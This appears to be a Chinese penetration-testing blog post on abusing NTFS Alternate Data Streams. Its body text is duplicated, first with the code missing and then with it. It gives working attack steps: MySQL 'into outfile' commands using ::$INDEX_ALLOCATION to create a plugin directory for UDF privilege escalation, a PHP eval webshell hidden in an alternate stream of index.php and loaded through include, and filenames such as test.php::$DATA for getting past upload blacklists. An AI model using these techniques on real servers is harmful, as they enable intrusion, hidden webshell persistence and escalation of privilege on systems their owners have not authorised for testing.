NTFS的ADS流应用
2016-04-17 21:10
113 查看
所有的文件在NTFS上都至少包括一个流-主流,即是我们平常看到可以存数据的文件。一个流的全名包括下面三个部分:<文件名>:<流名>:<流类型>
流在渗透中比较实用的有这几个方面:
top1:在udf提权中,mysql在5.1版本下udf直接导入c:/windows下就行,在5.1版本以上要导入mysql目录下的lib\plugin\目录,又5.1版本在安装时候默认没有lib\plugin目录的,除非你安装的是完整版(官方的那种200多M的)。所以可以用ADS流来创建目录,就绕过了这个限制。例如:
我用的是win2003和mysql5.3.10测试失败,应该是高版本mysql限制了流的使用,估计只能在5.1版本左右可以用。
top2:在webshell中的使用,在服务器上echo一个数据流文件到正常网页上。比如
上,index网页会正常显示,就是会多了一个流文件,我们用上传一个正常的php文件,文件包含内容是
一句话便被包含进来了,达到了隐蔽的效果。
top3:绕过黑名单验证
在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:
上传的文件名 服务器表面现象 生成的文件内容
PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。 根据第二个现象,我们可以bypass一些黑名单验证。 后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。(由于windows把\ /当成了目录,而上传只认识文件名所导致的)
参考自:http://zone.wooyun.org/content/1064
流在渗透中比较实用的有这几个方面:
top1:在udf提权中,mysql在5.1版本下udf直接导入c:/windows下就行,在5.1版本以上要导入mysql目录下的lib\plugin\目录,又5.1版本在安装时候默认没有lib\plugin目录的,除非你安装的是完整版(官方的那种200多M的)。所以可以用ADS流来创建目录,就绕过了这个限制。例如:
select 'xxx' into outfile 'D:\\mysql\\lib::$INDEX_ALLOCATION'; select 'xxx' into outfile 'D:\\mysql\\lib\\plugins::$INDEX_ALLOCATION';
我用的是win2003和mysql5.3.10测试失败,应该是高版本mysql限制了流的使用,估计只能在5.1版本左右可以用。
top2:在webshell中的使用,在服务器上echo一个数据流文件到正常网页上。比如
<pre name="code" class="html">echo ^<?php eval($_POST[cmd])?^> >index.php:hidden.txt
上,index网页会正常显示,就是会多了一个流文件,我们用上传一个正常的php文件,文件包含内容是
<pre name="code" class="html"><?php include('index.php:hidden.txt')?>
一句话便被包含进来了,达到了隐蔽的效果。
top3:绕过黑名单验证
在测试中我们发现,如果上传的文件名字为:test.php::$DATA,会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析。假设我们需要上传的文件内容为:<?php phpinfo();?>下面是上传是会出现的现象:
上传的文件名 服务器表面现象 生成的文件内容
<pre name="code" class="html">Test.php:a.jpg 生成Test.php 空 Test.php::$DATA 生成test.php <?php phpinfo();?> Test.php::$INDEX_ALLOCATION 生成test.php文件夹 Test.php::$DATA\0.jpg 生成0.jpg <?php phpinfo();?> Test.php::$DATA\aaa.jpg 生成aaa.jpg <?php phpinfo();?>
PS: 上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据流文件,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。 根据第二个现象,我们可以bypass一些黑名单验证。 后面我加\0测试的时候是想截断后面的东西,但是发现windows会无视”/””\”这两个符号前面的东西,只识别这俩符号后的字符串。(由于windows把\ /当成了目录,而上传只认识文件名所导致的)
参考自:http://zone.wooyun.org/content/1064
相关文章推荐
- c++ 下的多重继承虚函数调用问题
- 三分查找,汽车转弯
- Java基础篇(关于this的一些用法)
- Educational Codeforces Round 9 C - The Smallest String Concatenation ,学习到string
- 明明的随机数之机试
- 20145223《Java程序程序设计》第7周学习总结
- 20159320《网络攻防实践》第7周学习总结
- 20159320《网络攻防实践》第7周视频总结
- 20159320《网络攻防实践》第7周教材总结
- mongodb入门很简单(2)
- PHP的输出缓冲区(转)
- JSONP浅析
- nginx负载均衡器处理session共享的几种方法(转)
- SQL Server安装过程+评估期已过+附加数据库5120错误的解决办法
- kafka中文教程
- 广东工业大学网络赛E题 思维题
- 理解AOP
- ****一步步构建大型网站架构
- Nginx安装部署
- STM32——ADC